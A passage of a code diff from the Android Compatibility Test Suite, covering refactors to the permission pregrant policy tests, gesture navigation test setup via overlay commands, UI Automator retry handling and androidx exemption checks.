+ try (Stream<Path> stream = Files.walk(Paths.get(HYPHEN_BINARY_LOCATION))) {
+ hyphenLocalesList = stream
+ .filter(file -> !Files.isDirectory(file))
+ .map(Path::getFileName)
+ .map(Path::toString)
+ .filter(HYPHEN_BINARY_PATTERN.asPredicate())
+ .map(s -> {
+ Matcher matcher = HYPHEN_BINARY_PATTERN.matcher(s);
+ return matcher.find() ? Strings.nullToEmpty(matcher.group(1)) : "";
+ })
+ .sorted()
+ .collect(Collectors.toList());
+ } catch (IOException e) {
+ Log.w(TAG,"Hyphenation binary folder is not exist" , e);
+ }
+ store.addListResult("hyphenation_locale", hyphenLocalesList);
+
collectLocaleDataFilesInfo(store);
}
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
index 55fc077..c7a387c 100644
--- a/common/device-side/util-axt/OWNERS
+++ b/common/device-side/util-axt/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
index 41a38d4..cdec896 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -18,6 +18,9 @@
import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.NOT_FIXED;
+import static com.android.compatibility.common.util.BaseDefaultPermissionGrantPolicyTest.UidState.FixedState.SUPER_FIXED;
import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
import static org.junit.Assert.fail;
@@ -150,14 +153,14 @@
* @param permissions the set of permissions, formatted "permission_name fixed_boolean"
*/
public void setException(String pkg, String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
}
@@ -174,14 +177,14 @@
*/
public void setExceptionWithMetadata(String company, String metadata, String pkg,
String sha256, String... permissions) {
- HashMap<String, Boolean> permissionsMap = new HashMap<>();
+ HashMap<String, UidState.FixedState> permissionsMap = new HashMap<>();
for (String permissionString : permissions) {
String[] parts = permissionString.trim().split("\\s+");
if (parts.length != 2) {
Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
return;
}
- permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+ permissionsMap.put(parts[0], Boolean.valueOf(parts[1]) ? FIXED : NOT_FIXED);
}
mRemoteExceptions.add(new DefaultPermissionGrantException(
company, metadata, pkg, sha256, permissionsMap));
@@ -378,9 +381,9 @@
}
List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
- for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+ for (Map.Entry<String, UidState.FixedState> entry : exception.permissions.entrySet()) {
String permission = entry.getKey();
- Boolean fixed = entry.getValue();
+ UidState.FixedState fixed = entry.getValue();
if (!requestedPermissions.contains(permission)) {
Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
continue;
@@ -478,7 +481,7 @@
Context context = getInstrumentation().getTargetContext();
for (PackageInfo pkg : packageInfos.values()) {
- int targetSdk = pkg.applicationInfo.targetSandboxVersion;
+ int targetSdk = pkg.applicationInfo.targetSdkVersion;
int uid = pkg.applicationInfo.uid;
for (String permission : pkg.requestedPermissions) {
@@ -512,8 +515,8 @@
}
appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
- + permission, false, Collections.singleton(extendedPerm),
- outUidStates);
+ + permission, NOT_FIXED,
+ Collections.singleton(extendedPerm), outUidStates);
}
}
}
@@ -544,7 +547,7 @@
}
appendPackagePregrantedPerms(pkg, "permission " + permissionToAdd
- + " is granted to pre-" + targetSdk + " apps", false,
+ + " is granted to pre-" + targetSdk + " apps", NOT_FIXED,
Collections.singleton(permissionToAdd), outUidStates);
}
}
@@ -553,6 +556,13 @@
public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+ appendPackagePregrantedPerms(packageInfo, reason, fixed ? FIXED : NOT_FIXED,
+ pregrantedPerms, outUidStates);
+ }
+
+ public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+ UidState.FixedState fixed, Set<String> pregrantedPerms,
+ SparseArray<UidState> outUidStates) {
final int uid = packageInfo.applicationInfo.uid;
UidState uidState = outUidStates.get(uid);
if (uidState == null) {
@@ -561,7 +571,7 @@
}
for (String requestedPermission : packageInfo.requestedPermissions) {
if (pregrantedPerms.contains(requestedPermission)) {
- uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission,
+ uidState.addGrantedPermission(packageInfo, reason, requestedPermission,
fixed);
}
}
@@ -621,8 +631,9 @@
setPermissionGrantState(packageInfo.packageName, permission, false);
+ UidState.FixedState fixedState = uidState.grantedPermissions.valueAt(i);
Boolean fixed = grantAsFixedPackageNames.contains(packageInfo.packageName)
- || uidState.grantedPermissions.valueAt(i);
+ || fixedState == SUPER_FIXED || fixedState == FIXED;
// Weaker grant is fine, e.g. not-fixed instead of fixed.
if (!fixed && packageManager.checkPermission(permission, packageInfo.packageName)
@@ -702,9 +713,9 @@
public class GrantReason {
public final String reason;
public final boolean override;
- public final Boolean fixed;
+ public final FixedState fixed;
- GrantReason(String reason, boolean override, Boolean fixed) {
+ GrantReason(String reason, boolean override, FixedState fixed) {
this.reason = reason;
this.override = override;
this.fixed = fixed;
@@ -726,10 +737,34 @@
}
}
+ /**
+ * Enum representing if a permission's pregrant condition should be fixed and how it should
+ * interact with other pregrant conditions' fixed status.
+ */
+ public enum FixedState {
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it won't lose
+ * fixed status and will override non-fixed status.
+ */
+ SUPER_FIXED,
+
+ /**
+ * Permission is fixed and when merging with other pregrant conditions it may lose
+ * fixed status.
+ */
+ FIXED,
+
+ /**
+ * Permission is not fixed.
+ */
+ NOT_FIXED
+ }
+
// packageName -> permission -> [reason]
public ArrayMap<String, ArrayMap<String, ArraySet<GrantReason>>> mGrantReasons =
new ArrayMap<>();
- public ArrayMap<String, Boolean> grantedPermissions = new ArrayMap<>();
+ public ArrayMap<String, FixedState> grantedPermissions = new ArrayMap<>();
public void log() {
for (String packageName : mGrantReasons.keySet()) {
@@ -780,32 +815,26 @@
}
}
- public void addGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
- Context context = getInstrumentation().getTargetContext();
+ public void addGrantedPermission(PackageInfo packageInfo, String reason, String permission,
+ FixedState fixed) {
+ String packageName = packageInfo.packageName;
+ int targetSdk = packageInfo.applicationInfo.targetSdkVersion;
// Add permissions split off from the permission to granted
- try {
- PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);
- int targetSdk = info.applicationInfo.targetSdkVersion;
-
- for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
- mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
- : reason + " (split from " + permission + ")", extendedPerm,
- fixed, false);
- }
- } catch (PackageManager.NameNotFoundException e) {
- // ignore
+ for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+ mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
+ : reason + " (split from " + permission + ")", extendedPerm,
+ fixed, false);
}
}
public void overrideGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
+ FixedState fixed) {
mergeGrantedPermission(packageName, reason, permission, fixed, true);
}
public void mergeGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed, boolean override) {
+ FixedState fixed, boolean override) {
if (!mGrantReasons.containsKey(packageName)) {
mGrantReasons.put(packageName, new ArrayMap<>());
}
@@ -817,18 +846,22 @@
mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
fixed));
- Boolean oldFixed = grantedPermissions.get(permission);
+ FixedState oldFixed = grantedPermissions.get(permission);
if (oldFixed == null) {
grantedPermissions.put(permission, fixed);
} else {
- if (override) {
- if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+ if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) {
+ Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ + fixed + ") for " + packageName);
+ grantedPermissions.put(permission, fixed);
+ } else if (override) {
+ if (oldFixed == NOT_FIXED && fixed == FIXED) {
Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ fixed + ") for " + packageName);
grantedPermissions.put(permission, fixed);
}
} else {
- if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+ if (oldFixed == FIXED && fixed == NOT_FIXED) {
Log.w(LOG_TAG, "add already granted permission " + permission + "("
+ fixed + ") to " + packageName);
grantedPermissions.put(permission, fixed);
@@ -846,20 +879,20 @@
public String pkg;
public String sha256;
public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
- public Map<String, Boolean> permissions = new HashMap<>();
+ public Map<String, UidState.FixedState> permissions = new HashMap<>();
public boolean hasNonBrandSha256() {
return !sha256.isEmpty() && !hasBrand;
}
public DefaultPermissionGrantException(String pkg, String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
}
public DefaultPermissionGrantException(String company, String metadata, String pkg,
String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this.company = company;
this.metadata = metadata;
this.pkg = pkg;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
index ff389a1..4e798df 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
@@ -19,17 +19,15 @@
import static org.junit.Assume.assumeTrue;
import android.app.Instrumentation;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
+import android.graphics.Insets;
+import android.graphics.Rect;
+import android.os.SystemClock;
import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.util.ArrayMap;
+import android.view.WindowInsets;
+import android.view.WindowManager;
import androidx.test.InstrumentationRegistry;
@@ -37,33 +35,31 @@
import org.junit.rules.ExternalResource;
import java.io.IOException;
-import java.util.Map;
/**
* Test rule to enable gesture navigation on the device. Designed to be a {@link ClassRule}.
*/
public class GestureNavRule extends ExternalResource {
- private static final String SETTINGS_PACKAGE_NAME = "com.android.settings";
private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
- private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+ private static final int NAV_BAR_MODE_3BUTTON = 0;
+ private static final int NAV_BAR_MODE_2BUTTON = 1;
+ private static final int NAV_BAR_MODE_GESTURAL = 2;
+
+ private static final String NAV_BAR_MODE_3BUTTON_OVERLAY =
+ "com.android.internal.systemui.navbar.threebutton";
+ private static final String NAV_BAR_MODE_2BUTTON_OVERLAY =
+ "com.android.internal.systemui.navbar.twobutton";
private static final String GESTURAL_OVERLAY_NAME =
"com.android.internal.systemui.navbar.gestural";
- /** Most application's res id must be larger than 0x7f000000 */
- public static final int MIN_APPLICATION_RES_ID = 0x7f000000;
- public static final String SETTINGS_CLASS =
- SETTINGS_PACKAGE_NAME + ".Settings$SystemDashboardActivity";
+ private static final int WAIT_OVERLAY_TIMEOUT = 3000;
+ private static final int PEEK_INTERVAL = 200;
- private final Map<String, Boolean> mSystemGestureOptionsMap = new ArrayMap<>();
private final Context mTargetContext;
private final UiDevice mDevice;
+ private final WindowManager mWindowManager;
- // Bounds for actions like swipe and click.
- private String mEdgeToEdgeNavigationTitle;
- private String mSystemNavigationTitle;
- private String mGesturePreferenceTitle;
- private boolean mConfiguredInSettings;
- private boolean mRevertOverlay;
+ private final String mOriginalOverlayPackage;
@Override
protected void before() throws Throwable {
@@ -74,7 +70,9 @@
@Override
protected void after() {
- disableGestureNav();
+ if (!mOriginalOverlayPackage.equals(GESTURAL_OVERLAY_NAME)) {
+ disableGestureNav();
+ }
}
/**
@@ -85,39 +83,16 @@
Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
mDevice = UiDevice.getInstance(instrumentation);
mTargetContext = instrumentation.getTargetContext();
- PackageManager packageManager = mTargetContext.getPackageManager();
- Resources res;
- try {
- res = packageManager.getResourcesForApplication(SETTINGS_PACKAGE_NAME);
- } catch (PackageManager.NameNotFoundException e) {
- return;
- }
- if (res == null) {
- return;
- }
- mEdgeToEdgeNavigationTitle = getSettingsString(res, "edge_to_edge_navigation_title");
- mGesturePreferenceTitle = getSettingsString(res, "gesture_preference_title");
- mSystemNavigationTitle = getSettingsString(res, "system_navigation_title");
-
- String text = getSettingsString(res, "edge_to_edge_navigation_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
- text = getSettingsString(res, "swipe_up_to_switch_apps_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
- text = getSettingsString(res, "legacy_navigation_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
-
- mConfiguredInSettings = false;
+ mOriginalOverlayPackage = getCurrentOverlayPackage();
+ mWindowManager = mTargetContext.getSystemService(WindowManager.class);
}
@SuppressWarnings("BooleanMethodIsAlwaysInverted")
private boolean hasSystemGestureFeature() {
+ if (!containsNavigationBar()) {
+ return false;
+ }
final PackageManager pm = mTargetContext.getPackageManager();
// No bars on embedded devices.
@@ -128,59 +103,21 @@
|| pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
}
-
- private UiObject2 findSystemNavigationObject(String text, boolean addCheckSelector) {
- BySelector widgetFrameSelector = By.res("android", "widget_frame");
- BySelector checkboxSelector = By.checkable(true);
- if (addCheckSelector) {
- checkboxSelector = checkboxSelector.checked(true);
+ private String getCurrentOverlayPackage() {
+ final int currentNavMode = getCurrentNavMode();
+ switch (currentNavMode) {
+ case NAV_BAR_MODE_GESTURAL:
+ return GESTURAL_OVERLAY_NAME;
+ case NAV_BAR_MODE_2BUTTON:
+ return NAV_BAR_MODE_2BUTTON_OVERLAY;
+ case NAV_BAR_MODE_3BUTTON:
+ default:
+ return NAV_BAR_MODE_3BUTTON_OVERLAY;
}
- BySelector textSelector = By.text(text);
- BySelector targetSelector = By.hasChild(widgetFrameSelector).hasDescendant(textSelector)
- .hasDescendant(checkboxSelector);
-
- return mDevice.findObject(targetSelector);
}
- private boolean launchToSettingsSystemGesture() {
-
- // Open the Settings app as close as possible to the gesture Fragment
- Intent intent = new Intent(Intent.ACTION_MAIN);
- ComponentName settingComponent = new ComponentName(SETTINGS_PACKAGE_NAME, SETTINGS_CLASS);
- intent.setComponent(settingComponent);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mTargetContext.startActivity(intent);
-
- // Wait for the app to appear
- mDevice.wait(Until.hasObject(By.pkg("com.android.settings").depth(0)),
- 5000);
- mDevice.wait(Until.hasObject(By.text(mGesturePreferenceTitle)), 5000);
- if (mDevice.findObject(By.text(mGesturePreferenceTitle)) == null) {
- return false;
- }
- mDevice.findObject(By.text(mGesturePreferenceTitle)).click();
- mDevice.wait(Until.hasObject(By.text(mSystemNavigationTitle)), 5000);
- if (mDevice.findObject(By.text(mSystemNavigationTitle)) == null) {
- return false;
- }
- mDevice.findObject(By.text(mSystemNavigationTitle)).click();
- mDevice.wait(Until.hasObject(By.text(mEdgeToEdgeNavigationTitle)), 5000);
-
- return mDevice.hasObject(By.text(mEdgeToEdgeNavigationTitle));
- }
-
- private void leaveSettings() {
- mDevice.pressBack(); /* Back to Gesture */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* Back to System */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* back to Settings */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* Back to Home */
- mDevice.waitForIdle();
-
- mDevice.pressHome(); /* double confirm back to home */
- mDevice.waitForIdle();
+ private void insetsToRect(Insets insets, Rect outRect) {
+ outRect.set(insets.left, insets.top, insets.right, insets.bottom);
}
private void enableGestureNav() {
@@ -188,71 +125,68 @@
return;
}
try {
- if (mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) {
+ if (!mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) {
+ return;
+ }
+ } catch (IOException ignore) {
+ //
+ }
+ monitorOverlayChange(() -> {
+ try {
mDevice.executeShellCommand("cmd overlay enable " + GESTURAL_OVERLAY_NAME);
- mDevice.waitForIdle();
+ } catch (IOException e) {
+ // Do nothing
}
- } catch (IOException e) {
- // Do nothing
- }
-
- if (isGestureMode()) {
- mRevertOverlay = true;
- return;
- }
-
- // Set up the gesture navigation by enabling it via the Settings app
- boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
- if (isOperatedSettingsToExpectedOption) {
- for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
- UiObject2 uiObject2 = findSystemNavigationObject(entry.getKey(), true);
- entry.setValue(uiObject2 != null);
- }
- UiObject2 edgeToEdgeObj = mDevice.findObject(By.text(mEdgeToEdgeNavigationTitle));
- if (edgeToEdgeObj != null) {
- edgeToEdgeObj.click();
- mConfiguredInSettings = true;
- }
- }
- mDevice.waitForIdle();
- leaveSettings();
-
- mDevice.pressHome();
- mDevice.waitForIdle();
-
- mDevice.waitForIdle();
+ });
}
- /**
- * Restore the original configured value for the system gesture by operating Settings.
- */
private void disableGestureNav() {
if (!hasSystemGestureFeature()) {
return;
}
-
- if (mRevertOverlay) {
+ monitorOverlayChange(() -> {
try {
- mDevice.executeShellCommand("cmd overlay disable " + GESTURAL_OVERLAY_NAME);
- } catch (IOException e) {
+ mDevice.executeShellCommand("cmd overlay enable " + mOriginalOverlayPackage);
+ } catch (IOException ignore) {
// Do nothing
}
- if (!isGestureMode()) {
- return;
- }
- }
+ });
+ }
- if (mConfiguredInSettings) {
- launchToSettingsSystemGesture();
- for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
- if (entry.getValue()) {
- UiObject2 navigationObject = findSystemNavigationObject(entry.getKey(), false);
- if (navigationObject != null) {
- navigationObject.click();
- }
+ private void getCurrentInsetsSize(Rect outSize) {
+ outSize.setEmpty();
+ if (mWindowManager != null) {
+ WindowInsets insets = mWindowManager.getCurrentWindowMetrics().getWindowInsets();
+ Insets navInsets = insets.getInsetsIgnoringVisibility(
+ WindowInsets.Type.navigationBars());
+ insetsToRect(navInsets, outSize);
+ }
+ }
+
+ // Monitoring the navigation bar insets size change as a hint of gesture mode has changed, not
+ // the best option for every kind of devices. We can consider listening OVERLAY_CHANGED
+ // broadcast in U.
+ private void monitorOverlayChange(Runnable overlayChangeCommand) {
+ if (mWindowManager != null) {
+ final Rect initSize = new Rect();
+ getCurrentInsetsSize(initSize);
+
+ overlayChangeCommand.run();
+ // wait for insets size change
+ final Rect peekSize = new Rect();
+ int t = 0;
+ while (t < WAIT_OVERLAY_TIMEOUT) {
+ SystemClock.sleep(PEEK_INTERVAL);
+ t += PEEK_INTERVAL;
+ getCurrentInsetsSize(peekSize);
+ if (!peekSize.equals(initSize)) {
+ break;
}
}
- leaveSettings();
+ } else {
+ // shouldn't happen
+ overlayChangeCommand.run();
+ SystemClock.sleep(WAIT_OVERLAY_TIMEOUT);
}
}
@@ -266,20 +200,23 @@
assumeTrue("Gesture navigation required", isGestureMode);
}
- private boolean isGestureMode() {
- // TODO: b/153032202 consider the CTS on GSI case.
+ private int getCurrentNavMode() {
Resources res = mTargetContext.getResources();
int naviModeId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer", "android");
- int naviMode = res.getInteger(naviModeId);
- return naviMode == NAV_BAR_INTERACTION_MODE_GESTURAL;
+ return res.getInteger(naviModeId);
}
- private static String getSettingsString(Resources res, String strResName) {
- int resIdString = res.getIdentifier(strResName, "string", SETTINGS_PACKAGE_NAME);
- if (resIdString <= MIN_APPLICATION_RES_ID) {
- return null;
- }
+ private boolean containsNavigationBar() {
+ final Rect peekSize = new Rect();
+ getCurrentInsetsSize(peekSize);
+ return peekSize.height() != 0;
+ }
- return res.getString(resIdString);
+ private boolean isGestureMode() {
+ if (!containsNavigationBar()) {
+ return false;
+ }
+ final int naviMode = getCurrentNavMode();
+ return naviMode == NAV_BAR_MODE_GESTURAL;
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 3f42e32..a9543c2 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -21,6 +21,7 @@
import android.graphics.Rect;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.StaleObjectException;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -28,6 +29,7 @@
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.TypedValue;
+import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
@@ -37,6 +39,8 @@
public class UiAutomatorUtils {
private UiAutomatorUtils() {}
+ private static final String LOG_TAG = "UiAutomatorUtils";
+
/** Default swipe deadzone percentage. See {@link UiScrollable}. */
private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1;
@@ -86,7 +90,15 @@
final int minViewHeightPx = convertDpToPx(MIN_VIEW_HEIGHT_DP);
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), 1000);
+ try {
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
+ } catch (StaleObjectException exception) {
+ // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to
+ // UiObject2 is no longer in the view tree.
+ Log.v(LOG_TAG, "UiObject2 view is no longer in the view tree.", exception);
+ getUiDevice().waitForIdle();
+ continue;
+ }
if (view == null || view.getVisibleBounds().height() < minViewHeightPx) {
final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV())
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
index b61fd53..aa5c93e 100644
--- a/common/device-side/util/OWNERS
+++ b/common/device-side/util/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
index 6fbfba0..c0dfae1 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesValidConfigTest.java
@@ -89,18 +89,6 @@
}
/**
- * Check that only approved changes are overridable.
- */
- public void testOnlyAllowedlistedChangesAreOverridable() throws Exception {
- for (Change c : getOnDeviceCompatConfig()) {
- if (c.overridable) {
- assertWithMessage("Please contact compat-team@google.com for approval")
- .that(OVERRIDABLE_CHANGES).contains(c.changeName);
- }
- }
- }
-
- /**
* Check that the on device config contains all the expected change ids defined in the platform.
* The device may contain extra changes, but none may be removed.
*/
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index e5916f7..aea1248 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -78,6 +78,7 @@
private static ImmutableList<String> sSystemserverclasspathJars;
private static ImmutableList<String> sSharedLibJars;
private static ImmutableList<SharedLibraryInfo> sSharedLibs;
+ private static ImmutableMultimap<String, String> sSharedLibsPathsToName;
private static ImmutableMultimap<String, String> sJarsToClasses;
private DeviceSdkLevel mDeviceSdkLevel;
@@ -728,6 +729,8 @@
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
+ .put("/apex/com.android.bluetooth/app/BluetoothGoogle/BluetoothGoogle.apk",
+ BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.permission/priv-app/PermissionController/PermissionController.apk",
PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.permission/priv-app/GooglePermissionController/GooglePermissionController.apk",
@@ -787,6 +790,13 @@
.filter(file -> !file.contains("GmsCore"))
.filter(file -> !file.contains("com.google.android.gms"))
.collect(ImmutableList.toImmutableList());
+ final ImmutableSetMultimap.Builder<String, String> sharedLibsPathsToName =
+ ImmutableSetMultimap.builder();
+ sSharedLibs.forEach(sharedLibraryInfo -> {
+ sharedLibraryInfo.paths.forEach(path ->
+ sharedLibsPathsToName.putAll(path, sharedLibraryInfo.name));
+ });
+ sSharedLibsPathsToName = sharedLibsPathsToName.build();
final ImmutableSetMultimap.Builder<String, String> jarsToClasses =
ImmutableSetMultimap.builder();
@@ -1013,17 +1023,17 @@
// WARNING: Do not add more exceptions here, no androidx should be in bootclasspath.
// See go/androidx-api-guidelines#module-naming for more details.
final ImmutableMap<String, ImmutableSet<String>>
- LegacyExemptAndroidxSharedLibsJarToClasses =
+ LegacyExemptAndroidxSharedLibsNamesToClasses =
new ImmutableMap.Builder<String, ImmutableSet<String>>()
- .put("/vendor/framework/androidx.camera.extensions.impl.jar",
+ .put("androidx.camera.extensions.impl",
ImmutableSet.of("Landroidx/camera/extensions/impl/"))
- .put("/system_ext/framework/androidx.window.extensions.jar",
+ .put("androidx.window.extensions",
ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/extensions/",
"Landroidx/window/util/"))
- .put("/system_ext/framework/androidx.window.sidecar.jar",
+ .put("androidx.window.sidecar",
ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/sidecar",
"Landroidx/window/util"))
- .put("/vendor/framework/com.google.android.camera.experimental2020_midyear.jar",
+ .put("com.google.android.camera.experimental2020_midyear",
ImmutableSet.of("Landroidx/annotation"))
.build();
assertWithMessage("There must not be any androidx classes on the "
@@ -1032,17 +1042,18 @@
.that(sJarsToClasses.entries().stream()
.filter(e -> e.getValue().startsWith("Landroidx/"))
.filter(e -> !isLegacyAndroidxDependency(
- LegacyExemptAndroidxSharedLibsJarToClasses, e.getKey(), e.getValue()))
+ LegacyExemptAndroidxSharedLibsNamesToClasses, e.getKey(), e.getValue()))
.collect(Collectors.toList())
).isEmpty();
}
private boolean isLegacyAndroidxDependency(
- ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsJarToClasses,
- String jar, String className) {
- return legacyExemptAndroidxSharedLibsJarToClasses.containsKey(jar)
- && legacyExemptAndroidxSharedLibsJarToClasses.get(jar).stream().anyMatch(
- v -> className.startsWith(v));
+ ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsNamesToClasses,
+ String path, String className) {
+ return sSharedLibsPathsToName.get(path).stream()
+ .filter(legacyExemptAndroidxSharedLibsNamesToClasses::containsKey)
+ .flatMap(name -> legacyExemptAndroidxSharedLibsNamesToClasses.get(name).stream())
+ .anyMatch(className::startsWith);
}
private String[] collectApkInApexPaths() {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
index cb76f32..cee6a39 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AdoptableHostTest.java
@@ -76,7 +76,7 @@
int attempt = 0;
boolean hasVirtualDisk = false;
String result = "";
- while (!hasVirtualDisk && attempt++ < 20) {
+ while (!hasVirtualDisk && attempt++ < 50) {
